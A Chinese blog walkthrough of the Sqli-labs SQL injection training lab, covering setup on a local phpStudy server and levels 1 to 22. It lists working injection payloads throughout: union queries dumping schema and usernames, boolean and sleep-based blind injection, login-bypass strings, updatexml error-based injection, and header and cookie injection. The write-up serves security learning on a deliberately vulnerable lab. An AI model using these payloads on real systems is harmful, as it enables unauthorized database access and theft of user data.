美文网首页
【Sqli-labs】SQL-Injection

【Sqli-labs】SQL-Injection

作者: Kirin_say | 来源:发表于2018-02-27 13:35 被阅读59次

    Sqli-labs下载及环境搭建(Windows)

    从github上将项目源码下载下来:
    部署到phpstudy:
    将下载的项目中的文件复制到文件夹:

    ......\phpStudy\PHPTutorial\WWW
    
    Code

    更改"......\phpStudy\PHPTutorial\WWW\sql-connections"下的db-creds.inc文件:

    <?php
    
    //give your mysql connection username n password
    $dbuser ='root';
    $dbpass ='';
    $dbname ="security";
    $host = 'localhost';
    $dbname1 = "challenges";
    
    ?>
    

    "$dbpass" 改为自己的Mysql密码
    启动phpstudy
    打开:

    http://127.0.0.1 或 http://localhost
    

    看到:


    图片.png

    点击:Setup/reset Database for labs
    看到:


    Success
    到这里,便搭建完毕
    返回主页,即可开始:

    Sqli-labs challenge

    Less-1

    直接在Less-1中说明一些常用方法
    后面利用重复的就不再说明
    查看正常返回界面:

    http://127.0.0.1/Less-1/?id=1
    

    检测注入点:

    http://127.0.0.1/Less-1/?id=1'
    

    错误信息:

     You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 
    

    存在漏洞,且查询语句用单引号闭合
    发现存在表user:

    http://127.0.0.1/Less-1/?id=1'and exists(select * from users) --+
    或者
    http://127.0.0.1/Less-1/?id=1' and 0<(select count(*) from users)--+
    

    这里注意:

    注释可以还可以用"#",但必须url编码成:%23,因为#在url中有固定意义,表示页面中的锚点
    用"--+"而不是"--"是因为"+"在url码中表示空格,而"--"注释后面紧跟一个空格
    /*......*/也是注释,多用于多行注释,但sql注入中我们不能闭合右端
    但我们常用/**/代替空格来绕过空格过滤情况
    

    查看users表中记录数:

    http://127.0.0.1/Less-1/?id=1' and 12<(select count(*) from users)--+
    返回正确页面
    http://127.0.0.1/Less-1/?id=1' and 13<(select count(*) from users)--+
    返回错误界面
    

    所以users表中一共13条记录

    另一种思路
    先确定列数:

    http://127.0.0.1/Less-1/?id=1' union select 1,2 --+
    返回错误
    http://127.0.0.1/Less-1/?id=1' union select 1,2,3 --+
    返回正确
    或者利用order by:
    http://127.0.0.1/Less-1/?id=1'  order by 3 --+
    
    

    列数为3,且通过:

    http://127.0.0.1/Less-1/?id=-1' union select 1,2,3 --+
    

    发现会返回页面第二第三列
    列出数据库:

    http://127.0.0.1/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
    

    注意:union使用需要前后的表的列数相同,且当第一个查询没有结果时返回第二个结果
    列出表名:

    http://127.0.0.1/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables --+
    

    猜测列名:

    http://127.0.0.1/Less-1/?id=1' and exists(select username from users) --+
    或者
    http://127.0.0.1/Less-1/?id=1' and 13=(select count(*) from users where  len(username)>0)--+
    或者:
    http://127.0.0.1/Less-1/?id=-1'union select 1,group_concat(column_name),3  from information_schema.columns --+(但是这里页面限制了返回字符串长度,所以没有多大用)
    

    爆破字段:

    http://127.0.0.1/Less-1/?id=1' and (select ascii(mid(username,1,1)) from users limit 0,1)>0  --+//不断改变数字,爆破username第一条记录的第一个字符
    或者:
    http://127.0.0.1/Less-1/?id=-1'union select 1,group_concat(username),3  from users --+
    

    同时可利用一些数据库中常用存储数据库信息的表直接获得表,列,用户名等信息

    例如:
    information_schema数据库中的:
    SCHEMATA 保存数据库中的库名
    TABLES中保存着数据库中的表名
    TABLES中table_name字段保存数据库中所有表名
    TABLES中table_schema字段保存对应表所在的数据库
    对应TABLES表还有COLUMNS表
    select database();  会直接回显当前数据库名
    select user(); 会直接回显当前数据库用户名
    ......
    具体更多情况可以直接在本地的数据库中测试看到,这里不再细说(情况太多),后面应该会遇到
    

    Less-2

    检测注入点:

    http://127.0.0.1/Less-1/?id=1'
    

    出现错误信息:

    You have an error in your SQL syntax; check the manual that corresponds to your 
    MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1 
    

    推断查询语句没有使用单引号:

    http://127.0.0.1/Less-1/?id=1--+
    返回正确
    

    Less-3

    检测注入点:

    http://127.0.0.1/Less-1/?id=1'
    

    错误信息:

     You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1 
    

    推测单引号和小括号闭合:

    http://127.0.0.1/Less-3/?id=1')--+
    返回正确
    

    Less-4

    检测注入点:

    http://127.0.0.1/Less-4/?id=1'
    没有反应,猜测应该是过滤问题
    http://127.0.0.1/Less-4/?id=1"
    发生错误回显
    

    错误信息:

     You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
    

    推测双引号和小括号闭合

    http://127.0.0.1/Less-4/?id=1")--+
    返回正确
    

    回过头查看一下源码:

    $id = '"' . $id . '"';
    $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    

    双引号内可以包含单引号,所以 id=1' 失效

    Less-5

    http://127.0.0.1/Less-5/?id=1'
    

    回显:

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
    

    推测单引号闭合:

    http://127.0.0.1/Less-5/?id=1'--+
    

    剩下便是基于回显的注入
    利用正常回显有:

    You are in...........
    

    Less-6

    与Less-5相同
    不过闭合方式为双引号:

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"" LIMIT 0,1' at line 1
    

    Less-7

    测试:

    http://127.0.0.1/Less-7/?id=1'--+
    

    回显:

    You have an error in your SQL syntax
    

    猜测后台过滤--+
    或者单引号加其他符号(比如括号)闭合
    这里直接

    http://127.0.0.1/Less-7/?id=1' and '1'='1
    

    回显正确

    http://127.0.0.1/Less-7/?id=1' and '1'='2
    

    回显错误,所以这里可以直接用这种方式闭合
    查看源码发现:

    $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    

    所以这里也可以用单引号加两个括号闭合:

    http://127.0.0.1/Less-7/?id=1'))--+
    

    Less-8

    单引号闭合:

    http://127.0.0.1/Less-8/?id=1'--+
    

    剩下是基于bool的盲注
    正确查询返回:

    You are in...........
    

    错误查询无返回值

    Less-9

    单引号闭合且基于时间的盲注:

    http://127.0.0.1/Less-9/?id=1' or sleep(5)--+
    

    Less-10

    双引号闭合且基于时间的盲注:

    127.0.0.1/Less-10/?id=1"  or sleep(5) --+
    

    Less-11

    普通的绕过登录

    username:1' or '1'='1' or '1'='1
    password:1
    

    这里构造两个or是为了避免后台查询时and与or的优先级问题
    (and>or)
    后台语句:

    @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
    

    显然这里只有一个or会使'1'='1'与后面的and结合,而前面的unname='1'(unname为1的数据不存在)显然值是0,最后sql语句变成:

    @$sql="SELECT username, password FROM users WHERE 0 or 0 LIMIT 0,1";
    

    而多加一个or,最后:

    @$sql="SELECT username, password FROM users WHERE 1 or 0 LIMIT 0,1";
    

    从而成功绕过
    当然,如果知道一个username,也可以直接用一个or绕过:

    username:admin' or '1'='1
    password:1
    

    还可以直接注释掉后面的password来登录

    username:1' or 1=1# 
    password:1
    

    Less-12

    单引号无效
    尝试双引号时有错误回显:

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1") LIMIT 0,1' at line 1
    

    推测双引号加括号闭合:

    username:1") or '1'='1' or ("1")=("1
    password:1
    

    成功绕过登录

    Less-13

    单引号加括号闭合:

    username:1') or '1'='1' or ('1')=('1
    password:1
    

    Less-14

    盲注,没有错误回显
    手工测试发现是双引号闭合:

    username:1" or 1=1 or "1"="1
    password:1
    

    Less-15

    同Less-14,盲注,测试发现是单引号闭合:

    username:1' or 1=1 or '1'='1
    password:1
    

    Less-16

    同Less-14,无回显的盲注
    测试闭合方式是双引号加括号:

    username:1") or 1=1 or ("1")=("1
    password:1
    

    Less-17

    username处进行了check_input($_POST['uname']);
    注入点在password处
    看了一些文章,这里update,适合xpath报错注入:

    username:admin
    password:' or updatexml(1,concat(0x7e,database(),0x7e),1)#
    

    同时如果:

    ' or updatexml(1,concat(0x7e,(select username from users),0x7e),1)#
    

    则会报错:

    You can't specify target table 'users' for update in FROM clause
    

    因为update一张表的同时不可查询这张表:
    我们可以构造中间表来绕过这个错误:

    ' or updatexml(1,concat(0x7e,(select username from (select username from users)b limit 0,1),0x7e ),1)#
    

    (这里如果后有select前有"1' or",则可能会导致update正确而不执行后面用于报错的select语句,所以使用" 'or"(datebase()没有select,因此两种都能成功回显))

    Less-18

    页面信息:

    Your IP ADDRESS is: 127.0.0.1
    

    显然应该是http头注入
    检测发现注入点在User-Agent处
    注入方式和前面相同
    不过这里注意:要先登录成功后再注入才有报错回显

    Less-19

    和上题类似,登陆后发现回显:

    Your Referer is: http://127.0.0.1:98/Less-19/
    

    注入点在:Referer

    Less-20

    普通cookie注入
    注入方式和前面相同

    Less-21

    cookie+base64
    注入方式和前面相同,只是需要将注入语句进行base64编码

    Less-22

    cookie+base64
    不过cookie的uname使用了双引号进行闭合
    其他和上题相同

    Less-23

    相关文章

      网友评论

          本文标题:【Sqli-labs】SQL-Injection

          本文链接:https://www.haomeiwen.com/subject/regpxftx.html